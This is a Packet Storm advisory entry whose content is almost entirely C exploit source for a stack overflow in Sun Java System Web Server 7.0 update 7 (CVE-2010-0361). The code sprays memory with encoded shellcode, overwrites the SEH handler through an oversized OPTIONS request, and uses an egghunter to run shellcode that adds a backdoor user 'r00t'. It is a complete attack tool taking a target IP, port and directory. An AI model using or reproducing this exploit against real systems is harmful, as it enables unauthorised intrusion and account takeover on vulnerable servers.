Sun Java System Web Server Stack Overflow

2010-07-03T00:00:00
ID PACKETSTORM:91457
Type packetstorm
Reporter Dominic Chell
Modified 2010-07-03T00:00:00

Description

                                        
                                            `/* Sun Java Web Server Exploit  
* Tested on:  
* Sun Java Web Server 7.0 update 7 - XP SP3  
* Ref: CVE-2010-0361  
* This vulnerability was identified by Evgeny Legerov  
*  
* Author: Dominic Chell <dmc@deadbeef.co.uk>  
* Date: 23/01/2010  
*/  
  
#include "stdafx.h"  
#include <stdio.h>  
#include <stdlib.h>  
#include <errno.h>  
#include <string.h>  
#include "winsock2.h"  
  
#pragma comment(lib, "ws2_32")  
  
#define usage(){ (void)fprintf(stderr, "SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc <dmc@deadbeef.co.uk>\n\nExample: sjwsex.exe [ip] [port] [directory]\n");}  
#define error(e){ (void)fprintf(stderr,"%s\n",e); return -1;}  
  
// encoding the payloads in URL hex prevents it getting converted to unicode  
char seh[] = "%ee%7b%01%12"; // 0x12017bee  
char nextseh[] ="%eb%10%90%90"; // jmp  
char *nop = "%90"; // nop  
char egghunter[] = "%66%81%CA%FF%0F%42%52%6A%02%58%CD%2E%3C%05%5A%74%EF%B8%77%30%30%74%8B%FA%AF%75%EA%AF%75%E7%FF%E7";  
char *egg = "%77%30%30%74%77%30%30%74"; // w00tw00t  
// adduser r00t / r00tr00t123  
char shellcode[] =  
"%89%e6%db%cd%d9%76%f4%58%50%59%49%49%49%49%43"  
"%43%43%43%43%43%51%5a%56%54%58%33%30%56%58%34"  
"%41%50%30%41%33%48%48%30%41%30%30%41%42%41%41"  
"%42%54%41%41%51%32%41%42%32%42%42%30%42%42%58"  
"%50%38%41%43%4a%4a%49%4b%4c%4d%38%4b%39%45%50"  
"%45%50%43%30%43%50%4d%59%4b%55%46%51%48%52%42"  
"%44%4c%4b%46%32%50%30%4c%4b%46%32%44%4c%4c%4b"  
"%51%42%44%54%4c%4b%42%52%46%48%44%4f%4f%47%51"  
"%5a%47%56%46%51%4b%4f%50%31%49%50%4e%4c%47%4c"  
"%43%51%43%4c%45%52%46%4c%47%50%49%51%48%4f%44"  
"%4d%43%31%48%47%4d%32%4c%30%46%32%46%37%4c%4b"  
"%50%52%44%50%4c%4b%47%32%47%4c%45%51%48%50%4c"  
"%4b%51%50%43%48%4d%55%49%50%44%34%51%5a%45%51"  
"%48%50%50%50%4c%4b%47%38%44%58%4c%4b%50%58%51"  
"%30%45%51%4e%33%4a%43%47%4c%51%59%4c%4b%47%44"  
"%4c%4b%45%51%4e%36%46%51%4b%4f%46%51%49%50%4e"  
"%4c%49%51%48%4f%44%4d%43%31%48%47%50%38%4b%50"  
"%43%45%4a%54%43%33%43%4d%4b%48%47%4b%43%4d%47"  
"%54%43%45%4a%42%46%38%4c%4b%50%58%46%44%45%51"  
"%48%53%42%46%4c%4b%44%4c%50%4b%4c%4b%50%58%45"  
"%4c%43%31%49%43%4c%4b%44%44%4c%4b%45%51%4e%30"  
"%4d%59%50%44%47%54%46%44%51%4b%51%4b%45%31%50"  
"%59%50%5a%46%31%4b%4f%4b%50%46%38%51%4f%50%5a"  
"%4c%4b%42%32%4a%4b%4b%36%51%4d%43%5a%43%31%4c"  
"%4d%4b%35%4e%59%45%50%43%30%43%30%46%30%43%58"  
"%46%51%4c%4b%42%4f%4d%57%4b%4f%48%55%4f%4b%4b"  
"%50%45%4d%46%4a%45%5a%45%38%49%36%4a%35%4f%4d"  
"%4d%4d%4b%4f%48%55%47%4c%45%56%43%4c%44%4a%4d"  
"%50%4b%4b%4d%30%42%55%44%45%4f%4b%50%47%42%33"  
"%42%52%42%4f%42%4a%43%30%46%33%4b%4f%4e%35%45"  
"%33%42%4d%45%34%46%4e%43%55%44%38%45%35%51%30"  
"%46%4f%43%53%47%50%42%4e%45%35%42%54%51%30%43"  
"%45%42%53%45%35%43%42%51%30%44%32%50%30%46%50"  
"%42%54%51%30%43%42%46%50%46%50%42%54%44%32%50"  
"%30%46%50%43%44%46%51%46%52%46%53%47%50%46%4f"  
"%51%51%50%44%51%54%47%50%51%36%46%46%51%30%42"  
"%4e%43%55%44%34%51%30%42%4c%42%4f%45%33%45%31"  
"%42%4c%43%57%43%42%42%4f%44%35%42%50%47%50%51"  
"%51%42%44%42%4d%45%39%42%4e%43%59%42%53%44%34"  
"%44%32%45%31%43%44%42%4f%43%42%42%53%51%30%42"  
"%52%46%50%46%50%42%54%51%30%46%4f%47%31%50%44"  
"%51%54%45%50%45%5a%41%41";  
  
int send_buffer(int ipaddr, int port, char *buffer)  
{  
SOCKET s;  
struct fd_set mask;  
struct timeval timeout;  
struct sockaddr_in server;  
WSADATA info;  
if (WSAStartup(MAKEWORD(2,0), &info)) error("Unable to start WSA");  
  
s=socket(AF_INET,SOCK_STREAM,0);  
if (s==INVALID_SOCKET) error("[*] socket error");  
server.sin_family=AF_INET;  
server.sin_addr.s_addr=htonl(ipaddr);  
server.sin_port=htons(port);  
  
WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);  
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);  
  
select(s+1,NULL,&mask,NULL,&timeout);  
if(FD_ISSET(s,&mask))  
{  
if (send(s,buffer,strlen(buffer),0)==SOCKET_ERROR) error("[*] error sending buffer\n");  
closesocket(s);  
return 0;  
}  
}  
  
int main(int argc, char *argv[])  
{  
char *verb="GET /";  
char *options="OPTIONS /";  
char *version=" HTTP/1.0";  
char *directory="";  
char *payload, *ptr, *buffer;  
char nops[31], padding[130];  
  
if(argc < 4)  
{  
usage();  
return 0;  
}  
  
memset(nops, 0x00, sizeof(nops));  
memset(padding, 0x00, sizeof(padding));  
  
int ipaddr=htonl(inet_addr(argv[1])), port=atoi(argv[2]);  
directory = argv[3];  
fprintf(stderr, "SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc <dmc@deadbeef.co.uk>\n\n");  
  
// build payload and place shellcode in memory  
payload = (char*)malloc(strlen(egg)+strlen(shellcode)+strlen(verb)+strlen(version)+2);  
memset(payload, 0x00, sizeof(payload));  
ptr=payload;  
  
memcpy(ptr, verb, strlen(verb));  
ptr+=strlen(verb);  
memcpy(ptr, egg, strlen(egg));  
ptr+=strlen(egg);  
memcpy(ptr, shellcode, strlen(shellcode));  
ptr+=strlen(shellcode);  
memcpy(ptr, version, strlen(version));  
ptr+=strlen(version);  
memcpy(ptr, "\n\0", 2);  
  
fprintf(stderr, "%s\n", "[*] Filling memory with shellcode");  
for (int i=0; i<4; i++)  
{  
send_buffer(ipaddr, port, payload);  
}  
  
// build final buffer and overwrite seh  
// [ OPTIONS / | DIRECTORY | PADDING | EGG | SHELLLCODE | NEXTSEH | SEH | NOPS | EGGHUNTER | HTTPVERSION ]  
buffer=(char*)malloc(strlen(options)+strlen(directory)+strlen(egg)+strlen(shellcode)+strlen(nextseh)+strlen(seh)+strlen(egghunter)+strlen(version)+163);  
memset(buffer, 0x00, sizeof(buffer));  
ptr=buffer;  
  
memcpy(ptr, options, strlen(options));  
ptr+=strlen(options);  
memcpy(ptr, directory, strlen(directory));  
ptr+=strlen(directory);  
memcpy(ptr, "/", 1);  
ptr++;  
  
for(int i=0;i<129;i++)  
padding[i] = 'A';  
  
memcpy(ptr, padding, strlen(padding));  
ptr+=strlen(padding);  
  
memcpy(ptr, egg, strlen(egg));  
ptr+=strlen(egg);  
  
memcpy(ptr, shellcode, strlen(shellcode));  
ptr+=strlen(shellcode);  
  
memcpy(ptr, nextseh, strlen(nextseh));  
ptr+=strlen(nextseh);  
  
memcpy(ptr, seh, strlen(seh));  
ptr+=strlen(seh);  
  
for(int i=0;i<10;i++)  
strcat(nops, nop);  
memcpy(ptr, nops, strlen(nops));  
ptr+=strlen(nops);  
  
memcpy(ptr, egghunter, strlen(egghunter));  
ptr+=strlen(egghunter);  
  
memcpy(ptr, version, strlen(version));  
ptr+=strlen(version);  
memcpy(ptr, "\n\n\0", 3);  
  
fprintf(stderr, "%s\n", "[*] Sending final buffer");  
send_buffer(ipaddr, port, buffer);  
fprintf(stderr, "%s\n", "[*] Wait 2 minutes and connect with r00t / r00tr00t123");  
  
return 0;  
}  
  
`